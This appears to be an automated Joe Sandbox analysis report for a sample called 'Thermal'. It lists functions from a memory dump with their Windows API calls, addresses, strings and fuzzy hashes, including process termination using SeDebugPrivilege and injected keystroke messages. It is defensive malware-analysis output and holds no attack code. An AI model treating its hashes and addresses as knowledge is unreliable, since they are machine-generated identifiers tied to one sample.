Opcode Fuzzy Hash: 3687c6b7d0c3d47ae5bcc35c6be51fa5596432a2e55d7ac580c6fccfb2d56962
Instruction Fuzzy Hash: 71417CB1541208BFEF169F50CC89FBB7BACFF08354F104116FA059A151DB749E548BA0

Function 00199330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,001B0980), ref: 00199412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,001B0980), ref: 00199446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 001995C0
SysFreeString.OLEAUT32(?), ref: 001995EA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 2ede44d058f75dcdad790404a347fd927667aba0d6fb451d8b5d4df3899680ea
Instruction ID: ab6e838ada6fca6fac3ee794f6e803ccd69e4aa255eb6d87b844cf7160e3b74b
Opcode Fuzzy Hash: 2ede44d058f75dcdad790404a347fd927667aba0d6fb451d8b5d4df3899680ea
Instruction Fuzzy Hash: A9F13A71A00219EFDF15DFA8C884EAEB7B9FF49315F118059F506AB250DB31AE45CB50

Function 0018527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00184BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00183B8A,?), ref: 00184BE0

Part of subcall function 00184BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00183B8A,?), ref: 00184BF9

Part of subcall function 00184FEC: GetFileAttributesW.KERNEL32(?,00183BFE), ref: 00184FED

lstrcmpiW.KERNEL32(?,?), ref: 001852FB
_wcscmp.LIBCMT ref: 00185315
MoveFileW.KERNEL32(?,?), ref: 00185330

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 2255b2574e78fd6dcbe4f1a0c03fcc72b920c2bf66d429e52bd5af10e345b3b3
Instruction ID: 7fd221daf56471a56109617e95fd7d167582970040398c89af6cddea2974fe2d
Opcode Fuzzy Hash: 2255b2574e78fd6dcbe4f1a0c03fcc72b920c2bf66d429e52bd5af10e345b3b3
Instruction Fuzzy Hash: 4A5185B20087859BC764EBA0D8819DFB7EDEF94301F50491EF589D3152EF34A688CB66

Function 001A8C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 001A8D24

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 4f9f224b3fde36b38f2781848d2571981c1b20615bc5d4452060f1af1d9906bc
Instruction ID: 7276201c3cbda404101a810fe322642e10205c22fca394824ae73ca5d6ae0974
Opcode Fuzzy Hash: 4f9f224b3fde36b38f2781848d2571981c1b20615bc5d4452060f1af1d9906bc
Instruction Fuzzy Hash: 3651D039640204FFEF359F68CC89B9D7B64AB16360F240511FA15EB1E1CF71A990CB60

Function 00122F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0015C638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0015C65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0015C672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0015C690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0015C6B1
DestroyIcon.USER32(00000000), ref: 0015C6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0015C6DD
DestroyIcon.USER32(?), ref: 0015C6EC

Part of subcall function 001AAAD4: DeleteObject.GDI32(00000000), ref: 001AAB0D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 31b6d6f45826bc39e2af48c2fa385f62d9ad89f90ea989054a4cce15697aa09c
Instruction ID: d9206994398b363852e79355ef26d60e04cb54ea8ec96730cb621e56e7d262eb
Opcode Fuzzy Hash: 31b6d6f45826bc39e2af48c2fa385f62d9ad89f90ea989054a4cce15697aa09c
Instruction Fuzzy Hash: 49515870600309EFDB24DF24ED85BAE7BB5EB58711F104618F952AB690DB70EDA0DB90

Function 0017A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0017B54D
Part of subcall function 0017B52D: GetCurrentThreadId.KERNEL32 ref: 0017B554
Part of subcall function 0017B52D: AttachThreadInput.USER32(00000000,?,0017A23B,?,00000001), ref: 0017B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 0017A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0017A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0017A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 0017A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0017A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0017A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 0017A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0017A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0017A2B3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: c59d2b03cae91e384529fc35a71f80e289ef062a470742dfad91d34faacb871f
Instruction ID: ca8c7ccbd9ef86b493d7ded813be04ff35188d40587933b8e292003e59d5447a
Opcode Fuzzy Hash: c59d2b03cae91e384529fc35a71f80e289ef062a470742dfad91d34faacb871f
Instruction Fuzzy Hash: 8F11CEB1950218BEF6116B64DC8AFAB3B2DEB8C790F514519F7446B0D0CBF29C909AA4

Function 001794D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0017915A,00000B00,?,?), ref: 001794E2
HeapAlloc.KERNEL32(00000000,?,0017915A,00000B00,?,?), ref: 001794E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0017915A,00000B00,?,?), ref: 001794FE
GetCurrentProcess.KERNEL32(?,00000000,?,0017915A,00000B00,?,?), ref: 00179506
DuplicateHandle.KERNEL32(00000000,?,0017915A,00000B00,?,?), ref: 00179509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0017915A,00000B00,?,?), ref: 00179519
GetCurrentProcess.KERNEL32(0017915A,00000000,?,0017915A,00000B00,?,?), ref: 00179521
DuplicateHandle.KERNEL32(00000000,?,0017915A,00000B00,?,?), ref: 00179524
CreateThread.KERNEL32(00000000,00000000,0017954A,00000000,00000000,00000000), ref: 0017953E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: e819edee2ff19ef1f8bf846eb46c7bb3f94dd6696178388201080c78bbfb212d
Instruction ID: 81c498e2569bc85334d9e6719fb4b3704418e3371061a6fa9b6c75f4cedb14f7
Opcode Fuzzy Hash: e819edee2ff19ef1f8bf846eb46c7bb3f94dd6696178388201080c78bbfb212d
Instruction Fuzzy Hash: 6A01A4B5240308BFE611AFA9DC4DF6B7BACEB89711F008511FA05DB6A1CB71D8448B20

Function 0019A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 0019A265
NULL Pointer assignment, xrefs: 0019A28E, 0019A5B2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3d19429095c17bb1c21a6843eaf113cf1ab775b2f7ec786d1b7271fac508b612
Instruction ID: aac4087768cdb8f53f2dc96f11460dcd5e2896570cc0467b8cf151369d7a602a
Opcode Fuzzy Hash: 3d19429095c17bb1c21a6843eaf113cf1ab775b2f7ec786d1b7271fac508b612
Instruction Fuzzy Hash: 78C1B271A0021A9FDF14DFA8C885AAEB7F5FF48314F558469E905EB280E770ED48CB91

Function 001997FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00199851
VariantInit.OLEAUT32(?), ref: 00199922
VariantInit.OLEAUT32(?), ref: 00199A23
VariantClear.OLEAUT32(?), ref: 00199A2D
VariantClear.OLEAUT32(?), ref: 00199A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00199A06
Null Object assignment in FOR..IN loop, xrefs: 001998B2, 001999E0, 00199A98

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: e8cdba7bcefd459ba3d3e82d99005090038fbc30f3ca7601749ddeb98268a301
Instruction ID: a0eba5c253293aceeaab4f19465ab4e3bb754a74ebb05764800dcd26d55e44ed
Opcode Fuzzy Hash: e8cdba7bcefd459ba3d3e82d99005090038fbc30f3ca7601749ddeb98268a301
Instruction Fuzzy Hash: BB918D71A00219AFDF24DFA9C884FAEBBB8EF45714F10855EF515AB290D7709944CFA0

Function 001A73A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 001A7449
SendMessageW.USER32(?,00001036,00000000,?), ref: 001A745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 001A7477
_wcscat.LIBCMT ref: 001A74D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 001A74E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 001A7517

Strings

SysListView32, xrefs: 001A741B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 0e6cdd9c474cad9de2b4c2ba41917deb601c255b28941b61fa292e0796f18596
Instruction ID: 2c68b8587cac91625724b16c46b81eb2708b7d6e38b2927e2fea4b62161ecf97
Opcode Fuzzy Hash: 0e6cdd9c474cad9de2b4c2ba41917deb601c255b28941b61fa292e0796f18596
Instruction Fuzzy Hash: C9417075A04348AFEB219F64CC85FEE7BA8EF09350F10452AF985A72D1D7719E84CB50

Function 0019F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00184148: CreateToolhelp32Snapshot.KERNEL32 ref: 0018416D
Part of subcall function 00184148: Process32FirstW.KERNEL32(00000000,?), ref: 0018417B
Part of subcall function 00184148: CloseHandle.KERNEL32(00000000), ref: 00184245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0019F08D
GetLastError.KERNEL32 ref: 0019F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0019F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 0019F14C
GetLastError.KERNEL32(00000000), ref: 0019F157
CloseHandle.KERNEL32(00000000), ref: 0019F18C

Strings

SeDebugPrivilege, xrefs: 0019F0AB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: d4ab3733539ac1cfc0df6ec94679c14749cc490bc3529479bce6e98b39349600
Instruction ID: 17cb6b1a6c81f9f4a2466240efb78119a9284ea5c6819e425d9bbd91e6ece2e4
Opcode Fuzzy Hash: d4ab3733539ac1cfc0df6ec94679c14749cc490bc3529479bce6e98b39349600
Instruction Fuzzy Hash: 2541BE31300201AFDB15EF64DC95F6EB7A5AFA4714F08842DF8069B2D2CB74A945CF95

Function 001834DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0018357C

Strings

question, xrefs: 00183535
info, xrefs: 0018351D
warning, xrefs: 00183565
stop, xrefs: 0018354D
blank, xrefs: 001834FE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 1e2171b877e5a5410ec90f9b17590f06cd3a761cfd2d0fffa84600054a1d526d
Instruction ID: 2e7142d7a49e2c642d4c4d752ba628a1c750d01d953c03f6a6844c1a5efa084f
Opcode Fuzzy Hash: 1e2171b877e5a5410ec90f9b17590f06cd3a761cfd2d0fffa84600054a1d526d
Instruction Fuzzy Hash: BB110A7164C356BEE7056B14ECD2C6A779CDF15F60F24002AFA30A62C1E7A46F405BA0

Function 001847E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00184802
LoadStringW.USER32(00000000), ref: 00184809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0018481F
LoadStringW.USER32(00000000), ref: 00184826
_wprintf.LIBCMT ref: 0018484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0018486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00184847

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: ce4bd92175b5f81c4cbb61d4db132e595e6542f176c45aed67a3b5bdaabd2a3c
Instruction ID: d6129b11a4600bc257e61ef801a6372a6fdacc3dea4c5d7405cf929f2fd9c90c
Opcode Fuzzy Hash: ce4bd92175b5f81c4cbb61d4db132e595e6542f176c45aed67a3b5bdaabd2a3c
Instruction Fuzzy Hash: 99014FF29002087FE712E7A49D89EF7736CEB0C300F400695B749E2041EB749E848B75

Function 001ADB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

GetSystemMetrics.USER32(0000000F), ref: 001ADB42
GetSystemMetrics.USER32(0000000F), ref: 001ADB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 001ADD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 001ADDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 001ADDDC
ShowWindow.USER32(00000003,00000000), ref: 001ADDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 001ADE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 001ADE43

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 51e9acb5522ad509e89959a6d212fb578cde46c6754594672aa39f8b27782ca0
Instruction ID: 50d09d4bf545cbc7895997363bf57e2c4359c2919b21b355c28e7f986c246aa1
Opcode Fuzzy Hash: 51e9acb5522ad509e89959a6d212fb578cde46c6754594672aa39f8b27782ca0
Instruction Fuzzy Hash: E5B1CB38600615EFDF14CF69D9C57AE7BB1FF05710F088069EC4A9EA99D730A990CBA0

Function 001A0371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 001A147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001A040D,?,?), ref: 001A1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001A044E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 3fae74e8272d34c7d331adcc0761042aabf7518b46edd87cc43faec9ddfa0271
Instruction ID: 7b3db51e5f6647e64b30895e659979c55eb4aa53065bcfdb9c5d74a2eeeb0fcf
Opcode Fuzzy Hash: 3fae74e8272d34c7d331adcc0761042aabf7518b46edd87cc43faec9ddfa0271
Instruction Fuzzy Hash: 28A19C30204201AFCB16EF64C891B6EBBF5BF99314F14891DF59A872A2DB31E955CF42

Function 00122E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0015C508,00000004,00000000,00000000,00000000), ref: 00122E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0015C508,00000004,00000000,00000000,00000000,000000FF), ref: 00122EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0015C508,00000004,00000000,00000000,00000000), ref: 0015C55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0015C508,00000004,00000000,00000000,00000000), ref: 0015C5C7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: d06dccf0347c895aa49821e467b5e47912e0cc67893bd98ce20b7c2aafbed1ea
Instruction ID: de67088b250cac4fa71332dcac28cfda056c1be89749a65540d6fc3edad9925c
Opcode Fuzzy Hash: d06dccf0347c895aa49821e467b5e47912e0cc67893bd98ce20b7c2aafbed1ea
Instruction Fuzzy Hash: 97411930704790FED7398F29AC88A7F7B92BB95301F16440DE8574A960DB71A8A4E761

Function 00187681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00187698

Part of subcall function 00140FE6: std::exception::exception.LIBCMT ref: 0014101C
Part of subcall function 00140FE6: __CxxThrowException@8.LIBCMT ref: 00141031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 001876CF
EnterCriticalSection.KERNEL32(?), ref: 001876EB
_memmove.LIBCMT ref: 00187739
_memmove.LIBCMT ref: 00187756
LeaveCriticalSection.KERNEL32(?), ref: 00187765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0018777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00187799

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

